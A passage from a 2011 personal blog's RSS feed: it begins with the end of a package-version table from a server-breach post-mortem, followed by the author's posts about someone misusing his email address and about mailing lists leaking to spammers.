<td>3.7.4-9.el5_5.2</td>
<td>3.7.4-12</td>
</tr>
<tr>
<td>logwatch</td>
<td>7.3-8.el5</td>
<td>7.3-9.el5_6</td>
</tr>
<tr>
<td>m2crypto</td>
<td>0.16-6.el5.6</td>
<td>0.16-8.el5</td>
</tr>
<tr>
<td>man</td>
<td>1.6d-1.1</td>
<td>1.6d-2.el5</td>
</tr>
<tr>
<td>man-pages</td>
<td>2.39-15.el5_4</td>
<td>2.39-17.el5</td>
</tr>
<tr>
<td>mkinitrd</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>mod_ssl</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>mysql</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>mysql-server</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>nash</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>net-snmp-libs</td>
<td>5.3.2.2-9.el5_5.1</td>
<td>5.3.2.2-14.el5_7.1</td>
</tr>
<tr>
<td>nscd</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>nspr</td>
<td>4.8.6-1.el5_5</td>
<td>4.8.8-1.el5_7</td>
</tr>
<tr>
<td>nss</td>
<td>3.12.8-1.el5.centos</td>
<td>3.12.10-4.el5.centos</td>
</tr>
<tr>
<td>nss_ldap</td>
<td>253-25.el5</td>
<td>253-42.el5</td>
</tr>
<tr>
<td>openldap</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openldap-devel</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openssh</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-clients</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-server</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssl</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openssl-devel</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openvpn</td>
<td>2.1.4-1.el5.rf</td>
<td>2.2.0-3.el5.rf</td>
</tr>
<tr>
<td>pango</td>
<td>1.14.9-8.el5.centos</td>
<td>1.14.9-8.el5.centos.2</td>
</tr>
<tr>
<td>passwd</td>
<td>0.73-1</td>
<td>0.73-2</td>
</tr>
<tr>
<td>patch</td>
<td>2.5.4-29.2.3.el5</td>
<td>2.5.4-31.el5</td>
</tr>
<tr>
<td>pciutils</td>
<td>2.2.3-8.el5_4</td>
<td>3.1.7-3.el5</td>
</tr>
<tr>
<td>pcre</td>
<td>6.6-2.el5_1.7</td>
<td>6.6-6.el5_6.1</td>
</tr>
<tr>
<td>perl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-Authen-SASL</td>
<td>2.15-1</td>
<td>2.15-1.el5.rf</td>
</tr>
<tr>
<td>perl-Class-Data-Inheritable</td>
<td>0.08-1</td>
<td>0.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-DateTime</td>
<td>0.4305-1.el5.rf</td>
<td>0.5300-2.el5.rf</td>
</tr>
<tr>
<td>perl-Devel-PPPort</td>
<td>3.19_02</td>
<td>3.20</td>
</tr>
<tr>
<td>perl-Digest-SHA</td>
<td>5.48-1.el5.rf</td>
<td>5.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-ExtUtils-MakeMaker</td>
<td>6.57_01</td>
<td>6.59</td>
</tr>
<tr>
<td>perl-GD</td>
<td>2.44-1.el5.rf</td>
<td>2.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-JSON</td>
<td>2.17-1.el5.rf</td>
<td>2.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-Lingua-EN-Inflect-Number</td>
<td>1.1-1</td>
<td>1.1-1.el5.rf</td>
</tr>
<tr>
<td>perl-MailTools</td>
<td>2.07-1.el5.rf</td>
<td>2.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-NetAddr-IP</td>
<td>4.037-1.el5.rf</td>
<td>4.044-1.el5.rf</td>
</tr>
<tr>
<td>perl-Parse-RecDescent</td>
<td>1.965.1-1.el5.rf</td>
<td>1.965.1-2.el5.rf</td>
</tr>
<tr>
<td>perl-Pod-Simple</td>
<td>3.15-1.el5.rf</td>
<td>3.16-1.el5.rf</td>
</tr>
<tr>
<td>perl-Test-Pod</td>
<td>1.44-1.el5.rf</td>
<td>1.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV</td>
<td>1.13-1.el5.rf</td>
<td>1.21-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV_XS</td>
<td>0.71-1.el5.rf</td>
<td>0.80-1.el5.rf</td>
</tr>
<tr>
<td>perl-Time-Local</td>
<td>1.1901-1.el5.rf</td>
<td>1.2000-1.el5.rf</td>
</tr>
<tr>
<td>perl-WWW-Mechanize</td>
<td>1.56-1.el5.rf</td>
<td>1.66-1.el5.rf</td>
</tr>
<tr>
<td>perl-XSLoader</td>
<td>0.10</td>
<td>0.15</td>
</tr>
<tr>
<td>perl-suidperl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-version</td>
<td>0.86-1.el5.rf</td>
<td>0.91-1.el5.rf</td>
</tr>
<tr>
<td>popt</td>
<td>1.10.2.3-20.el5_5.1</td>
<td>1.10.2.3-22.el5</td>
</tr>
<tr>
<td>postgresql</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-contrib</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-devel</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-libs</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-pl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-python</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-server</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-tcl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-test</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>procps</td>
<td>3.2.7-16.el5</td>
<td>3.2.7-17.el5</td>
</tr>
<tr>
<td>psmisc</td>
<td>22.2-7</td>
<td>22.2-7.el5_6.2</td>
</tr>
<tr>
<td>pyOpenSSL</td>
<td>0.6-1.p24.7.2.2</td>
<td>0.6-2.el5</td>
</tr>
<tr>
<td>python</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-devel</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-urlgrabber</td>
<td>3.1.0-5.el5</td>
<td>3.1.0-6.el5</td>
</tr>
<tr>
<td>rpm</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-build</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-libs</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-python</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>ruby</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>ruby-libs</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>samba-common</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>screen</td>
<td>4.0.3-1.el5_4.1</td>
<td>4.0.3-4.el5</td>
</tr>
<tr>
<td>sed</td>
<td>4.1.5-5.fc6</td>
<td>4.1.5-8.el5</td>
</tr>
<tr>
<td>sendmail</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-cf</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-devel</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>shadow-utils</td>
<td>4.0.17-15.el5</td>
<td>4.0.17-18.el5_6.1</td>
</tr>
<tr>
<td>sudo</td>
<td>1.7.2p1-9.el5_5</td>
<td>1.7.2p1-10.el5</td>
</tr>
<tr>
<td>talk</td>
<td>0.17-29.2.2</td>
<td>0.17-31.el5</td>
</tr>
<tr>
<td>tmpwatch</td>
<td>2.9.7-1.1.el5.2</td>
<td>2.9.7-1.1.el5.5</td>
</tr>
<tr>
<td>traceroute</td>
<td>2.0.1-5.el5</td>
<td>2.0.1-6.el5</td>
</tr>
<tr>
<td>tzdata</td>
<td>2010l-1.el5</td>
<td>2011h-2.el5</td>
</tr>
<tr>
<td>util-linux</td>
<td>2.13-0.52.el5_4.1</td>
<td>2.13-0.56.el5</td>
</tr>
<tr>
<td>vim-common</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-enhanced</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-minimal</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vnc-server</td>
<td>4.1.2-14.el5_5.4</td>
<td>4.1.2-14.el5_6.6</td>
</tr>
<tr>
<td>vsftpd</td>
<td>2.0.5-16.el5_5.1</td>
<td>2.0.5-21.el5</td>
</tr>
<tr>
<td>xinetd</td>
<td>2.3.14-10.el5</td>
<td>2.3.14-13.el5</td>
</tr>
<tr>
<td>xorg-x11-font-utils</td>
<td>7.1-2</td>
<td>7.1-3</td>
</tr>
<tr>
<td>xorg-x11-xfs</td>
<td>1.0.2-4</td>
<td>1.0.2-5.el5_6.1</td>
</tr>
<tr>
<td>yum</td>
<td>3.2.22-26.el5.centos</td>
<td>3.2.22-37.el5.centos</td>
</tr>
<tr>
<td>yum-fastestmirror</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>yum-utils</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>zlib</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
<tr>
<td>zlib-devel</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
			<item>
		<title>Email identity thief strikes again</title>
		<link>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/</link>
		<comments>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 16:49:51 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2373</guid>
		<description><![CDATA[This time, my email identity thief created an account using my email address at support.mozilla.com. I received email from the site in French asking me to confirm my email address. I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information [...]]]></description>
			<content:encoded><![CDATA[<p>This time, my <a href="http://blog.kamens.us/tag/email-identity-thief/">email identity thief</a> created an account using my email address at <a href="http://support.mozilla.com/" target="_blank">support.mozilla.com</a>. I received email from the site in French asking me to confirm my email address.</p>
<p>I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information he specified or what he did on the site, because the site provides no way to recover a lost username. I&#8217;ve contacted <a href="mailto:webmaster@mozilla.com" target="_blank">webmaster@mozilla.com</a> and asked them to provide me with the username as well as information from their logs about who created this account.</p>
<p>They&#8217;re a bit more likely to be willing to help then Skype, given that (a) they&#8217;re a collaborative, open-source organization and (b) I have an ongoing relationship with Mozilla, having submitted several core and Thunderbird patches and been <a href="http://blog.mozilla.com/meeting-notes/archives/date/2010/07" target="_blank">nominated</a> as a <a href="https://developer.mozilla.org/en/Glossary#FotT" target="_blank">&#8220;Friend of the Tree&#8221;</a>.</p>
<p>I&#8217;ve asked them at the very least, if they&#8217;re unwilling or unable to provide me with the username, to delete the account, since I don&#8217;t want accounts created by other people using my email address on sites all over the internet.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
			<item>
		<title>IMPORTANT UPDATE on Brave New Foundation and Nation of Change</title>
		<link>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/</link>
		<comments>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 20:30:49 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Brave New Foundation]]></category>
		<category><![CDATA[Nation of Change]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2342</guid>
		<description><![CDATA[I wrote several days ago about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I wrote about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me. I [...]]]></description>
			<content:encoded><![CDATA[<p>I <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">wrote several days ago</a> about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I <a title="Nation of Change trying to cover their tracks?" href="http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/">wrote</a> about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me.</p>
<p>I have been in conversation about this with a high-level employee at Brave New Foundation, and I am now able to report the following important information:</p>
<ul>
<li>Brave New Foundation does not sell, share or rent their email lists.</li>
<li>There is a Brave New Foundation employee with access to their lists who has a relative who works for Nation of Change.</li>
<li>Brave New Foundation believes that this Nation of Change employee made unauthorized use of his/her relative&#8217;s access to copy an as yet undetermined subset of Brave New Foundation&#8217;s email lists for Nation of Change&#8217;s use.</li>
<li>Brave New Foundation does not believe its employee was complicit in this unauthorized access. In fact, s/he was unaware that it had occurred until I brought it to Brave New Foundation&#8217;s attention.</li>
<li>Brave New Foundation considers this breach of their data to be extremely serious, and they are actively investigating it.</li>
<li>Brave New Foundation is considering legal action against Nation of Change both to prevent any further use of the copied email addresses and to obtain financial compensation for the damage to Brave New Foundation&#8217;s reputation and the time and resources spend investigating this incident.</li>
</ul>
<p>All of this information, as well as some additional off-the-record supporting information that I cannot report here, was provided to me directly by an employee of Brave New Foundation. I have no reason to believe that employee is lying, and what s/he told me is consistent with my suspicions and impressions about Nation of Change. However, in the spirit of full disclosure, I want to be clear that I have not seen any hard evidence supporting any of Brave New Foundation&#8217;s allegations against Nation of Change.</p>
<p>When you combine these new allegations against Nation of Change with all the other issues I raised in my <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">first posting about them</a>, it seems doubtful that this is an organization which deserves anyone&#8217;s support.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
			<item>
		<title>Nation of Change trying to cover their tracks?</title>
		<link>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/</link>
		<comments>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 15:17:37 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[CommonDreams.org]]></category>
		<category><![CDATA[Nation of Change]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2339</guid>
		<description><![CDATA[I wrote recently about spam I received from a new, shady-seeming progressive organization called Nation of Change, sent to an email address that I had only ever used to subscribe to another organization&#8217;s mailing list. I asked a lot of questions about Nation of Change, and thus far they&#8217;ve failed to respond to any of [...]]]></description>
			<content:encoded><![CDATA[<p>I <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">wrote recently</a> about spam I received from a new, shady-seeming progressive organization called Nation of Change, sent to an email address that I had only ever used to subscribe to another organization&#8217;s mailing list.</p>
<p>I asked a lot of questions about Nation of Change, and thus far they&#8217;ve failed to respond to any of them. Here&#8217;s what has happened instead.</p>
<p><span id="more-2339"></span>In response to my complaint, a representative of Nation of Change informed me, &#8220;I was unable to find your address: <em>[elided]</em> in our system.&#8221; I sent back a reply in which I included the entire header of the spam from Nation of Change, showing clearly that they had sent email to that address. They did not respond.</p>
<p>Much more significantly, several days later I received a &#8220;Thank you for Signing Up!&#8221; email sent to the same tagged email address from a different progressive web site, CommonDreams.org. When I complained to them, they claimed that someone had entered the address into the subscription form on their web site.</p>
<p>This is certainly not coincidence. It looks very much to me like whoever is behind the unauthorized transfer of a list of email addresses from Brave New Foundation to Nation of Change is trying to cover their tracks by making it look like I&#8217;m lying about the privacy of the email address in question. Either that, or they&#8217;re just being vindictive and trying to make my life difficult because I exposed their actions.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
			<item>
		<title>Oracle (née Sun) joins the club of companies who can&#8217;t keep their mailing lists secure</title>
		<link>http://blog.kamens.us/2011/08/11/oracle-nee-sun-joins-the-club-of-companies-who-cant-keep-their-mailing-lists-secure/</link>
		<comments>http://blog.kamens.us/2011/08/11/oracle-nee-sun-joins-the-club-of-companies-who-cant-keep-their-mailing-lists-secure/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 01:21:59 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Sun]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2332</guid>
		<description><![CDATA[In September 2009, I registered as a developer at sun.com. When doing so, I used a tagged email address, i.e., an email address part of which was unique to my registration at that site. I&#8217;ve never used that particular email address anywhere else or published it anywhere. In January 2010, Oracle completed its acquisition of [...]]]></description>
			<content:encoded><![CDATA[<p>In September 2009, I registered as a developer at sun.com. When doing so, I used a tagged email address, i.e., an email address part of which was unique to my registration at that site. I&#8217;ve never used that particular email address anywhere else or published it anywhere.</p>
<p>In January 2010, Oracle completed its acquisition of Sun. The Sun developer web sites were eventually decommissioned and are not active today. Since the completion of the acquisition, I&#8217;ve received no email at the tagged email address I gave to Sun. Until today, that is.</p>
<p>Today, I received this spam sent to that tagged email address:</p>
<pre id="line1" style="padding-left: 30px; font-size: 70%;">Received: from mail.recruitingbee-agent8.com (mail.recruitingbee-agent8.com [184.172.232.199])
	by jik3.kamens.brookline.ma.us (8.13.8/8.13.8) with ESMTP id p7BNER5P022529
	for &lt;<em>[elided]</em>&gt;; Thu, 11 Aug 2011 19:14:27 -0400
Received: from find ([127.0.0.1]) by recruitingbee-agent8.com with MailEnable ESMTP; Thu, 11 Aug 2011 18:14:39 -0500
MIME-Version: 1.0
From: "Tech-centric Jobs" &lt;noreply@recruitingbee-agent8.com&gt;
To: <em>[elided]</em>
Date: 11 Aug 2011 18:14:39 -0500
Subject: Technology job openings
Content-Type: text/plain; charset=us-ascii
Message-ID: &lt;EF440C500DF841B3AE10C51197A0EA91.MAI@recruitingbee-agent8.com&gt;
Content-Transfer-Encoding: 8bit

**********************************************************************</pre>
<p style="padding-left: 30px; font-size: 70%;"><tt>Find the latest software &amp; programming jobs http://www.tech-centric.net/</tt></p>
<pre style="padding-left: 30px; font-size: 70%;">**********************************************************************</pre>
<p style="padding-left: 30px; font-size: 70%;"><tt>A good programmer is someone who always looks both ways before crossing a one-way street. ~Doug Linder</tt></p>
<p style="padding-left: 30px; font-size: 70%;"><tt>The latest programming jobs are available: http://www.tech-centric.net/</tt></p>
<p style="padding-left: 30px; font-size: 70%;"><tt>If however you are not interested in exploring programming jobs at this time please optout:</tt></p>
<p style="padding-left: 30px; font-size: 70%;"><tt>http://www.recruitingbee.com/unsubscribe.aspx?email=<em>[elided]</em>&amp;token=<em>[elided]</em></tt></p>
<pre style="padding-left: 30px; font-size: 70%;">All the best,
The Health Medical Job Site
1350 E Flamingo Rd
Las Vegas NV, 89119</pre>
<p>It looks like either Oracle sold the email addresses of sun.com web site users to a third party, or somebody stole them. Neither of these casts Oracle in a particularly good light.</p>
<p>I am, of course, going to do my best to contact someone in Oracle who might be willing and able to look into this, but I am rather skeptical that I will have any success.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/11/oracle-nee-sun-joins-the-club-of-companies-who-cant-keep-their-mailing-lists-secure/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
			<item>
		<title>Mysterious identity thief uses my email address to create Skype account</title>
		<link>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/</link>
		<comments>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 23:48:38 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2319</guid>
		<description><![CDATA[As I previously reported, somebody has been interacting with Web sites using my email address. I suspect that in addition to the ones I know about, this individual is probably also doing things that I don&#8217;t know about, because I assume that not all the web sites at which he&#8217;s using my address are kind enough [...]]]></description>
			<content:encoded><![CDATA[<p>As I <a title="Who’s using my email address, and why?" href="http://blog.kamens.us/2011/06/23/whos-using-my-email-address-and-why/">previously reported</a>, somebody has been interacting with Web sites using my email address.</p>
<p>I suspect that in addition to the ones I know about, this individual is probably also doing things that I <em>don&#8217;t</em> know about, because I assume that not all the web sites at which he&#8217;s using my address are kind enough to send me an email address alerting me to what he&#8217;s doing.</p>
<p>Today, however, I <em>did</em> get a notification from one site that I didn&#8217;t know about before &#8212; he apparently signed up for a Skype account using my email address. They emailed me about it because he attempted to purchase Skype credit but didn&#8217;t complete the transaction.</p>
<p>I immediately took advantage of Skype&#8217;s password recovery feature to reset the password on the account. I.e., I stole the account from the identity thief, just as I did when he signed up for a gmail account using my email address.</p>
<p>Then I sent this message to Skype&#8217;s customer support department. I don&#8217;t honestly expect them to respond in any useful way, but I figured it was worth a try:<span id="more-2319"></span></p>
<p style="padding-left: 30px;">As described at http://blog.kamens.us/?p=2258, someone I do not know has been going to various sites all over the internet and interacting with those sites using my email address, jik@kamens.brookline.ma.us. The things that I am aware of before today are (a) submitting a bizarre support request to Starwood hotels customer service and (b) creating a gmail account with my email address specified as its password recovery address. I am worried that whoever this person is may have used my email address at other sites as well, but these are the ones I know about.</p>
<p style="padding-left: 30px;">Today, a new one occurred &#8212; this individual signed up for a skype account with the skype name bouba.diallo30 and using my email address. I received an email address notifying me of this fact because this individual apparently attempted to purchase a Skype credit but did not complete the transaction.</p>
<p style="padding-left: 30px;">Because I obviously do not want people on the Internet impersonating me or using my email address for nefarious purposes, I used your password recovery feature to reset the password on this account so that it is one that I know and the identity thief does not. This is why I am currently writing to you from that account &#8212; I have taken over the account, which I think is perfectly legitimate since it was created using my email address and whoever created it is obviously up to no good. (I did the same thing to the gmail account that the thief created using my email address as its password recovery address.)</p>
<p style="padding-left: 30px;">I would like your help tracking down whoever this person is. I don&#8217;t know what the hell he&#8217;s up to, but I&#8217;m really concerned that it&#8217;s something that&#8217;s going to hurt me, and I&#8217;m trying to collect as much information as possible about what&#8217;s going on so that I will be armed and ready if I need to escalate the fight against whatever this person is doing.</p>
<p style="padding-left: 30px;">Can you please tell me how I can go about getting whatever additional information about this individual, e.g., what IP address was used to create the account, exactly when it was created, etc., i.e., anything at all you have logged about this person&#8217;s actions?</p>
<p style="padding-left: 30px;">Please note that I am *very* careful with the security of my computer, home network and web accounts, and it is extremely unlikely that whoever is doing this has actually taken over my computer or email account or anything like that.</p>
<p style="padding-left: 30px;">Thank you in advance for any help you can provide.</p>
<p style="padding-left: 30px;">Sincerely,</p>
<p style="padding-left: 30px;">Jonathan Kamens (the *real* jik@kamens.brookline.ma.us, as you can see from the jonathan.kamens Skype account which I&#8217;ve had associated with that email address for several years)</p>
<p>Interestingly, here are the profile details that the identity thief specified when creating the Skype account:</p>
<p><a href="http://blog.kamens.us/wp-content/uploads/2011/08/profile_details.png"><img class="size-full wp-image-2320 aligncenter" title="Profile details" src="http://blog.kamens.us/wp-content/uploads/2011/08/profile_details.png" alt="" width="514" height="303" /></a></p>
<p>I wish I knew what the hell this guy thinks he&#8217;s accomplishing with these hijinks.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
			<item>
		<title>Who&#8217;s using my email address, and why?</title>
		<link>http://blog.kamens.us/2011/06/23/whos-using-my-email-address-and-why/</link>
		<comments>http://blog.kamens.us/2011/06/23/whos-using-my-email-address-and-why/#comments</comments>
		<pubDate>Thu, 23 Jun 2011 16:32:28 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2258</guid>
		<description><![CDATA[Somebody seems to be using my email address in a weird, ongoing way that doesn&#8217;t seem to be benefiting them in any way. The fact that I can&#8217;t figure out why they&#8217;re doing it concerns me, because I have to suspect that there is some benefit to them, which I just haven&#8217;t been able to [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-2259" style="margin-right: 5px; margin-bottom: 5px;" title="1308843894_help_index" src="http://blog.kamens.us/wp-content/uploads/2011/06/1308843894_help_index.png" alt="" width="128" height="128" />Somebody seems to be using my email address in a weird, ongoing way that doesn&#8217;t seem to be benefiting them in any way. The fact that I can&#8217;t figure out why they&#8217;re doing it concerns me, because I have to suspect that there <em>is</em> some benefit to them, which I just haven&#8217;t been able to figure out. I&#8217;m worried that if it&#8217;s helping them, it&#8217;s probably hurting me, even if I don&#8217;t know it.</p>
<p>Therefore, I&#8217;m blogging what I know, in the hope that perhaps someone else will be able to look at the facts and point out something I missed about why this is going on.</p>
<p><span id="more-2258"></span>A few days ago, I received an automated email message from the &#8220;Starwood Preferred Guest&#8221; program which began, &#8220;Thank you for contacting Starwood Preferred Guest.&#8221; Except I hadn&#8217;t.</p>
<p>I assumed that a spammer had sent spam with my return address to Starwood, so I just ignored it.</p>
<p>However, later that day, I received this message from Starwood:</p>
<p style="padding-left: 30px;">Dear Jonathan Kamens,<br />
Thank you for contacting Starwood Preferred Guest. I hope this email finds you well.<br />
I must apologize but I am unable to determine exactly what your inquiry is regarding. If you would please reword your question or add more detail we would be pleased to assist you.<br />
We are always available to assist you; feel free to chat with us online, have us call you, or if you prefer, simply reply to this email. Have a lovely evening.</p>
<p style="padding-left: 30px;">Best Regards,</p>
<p style="padding-left: 30px;"><em>[name elided]<br />
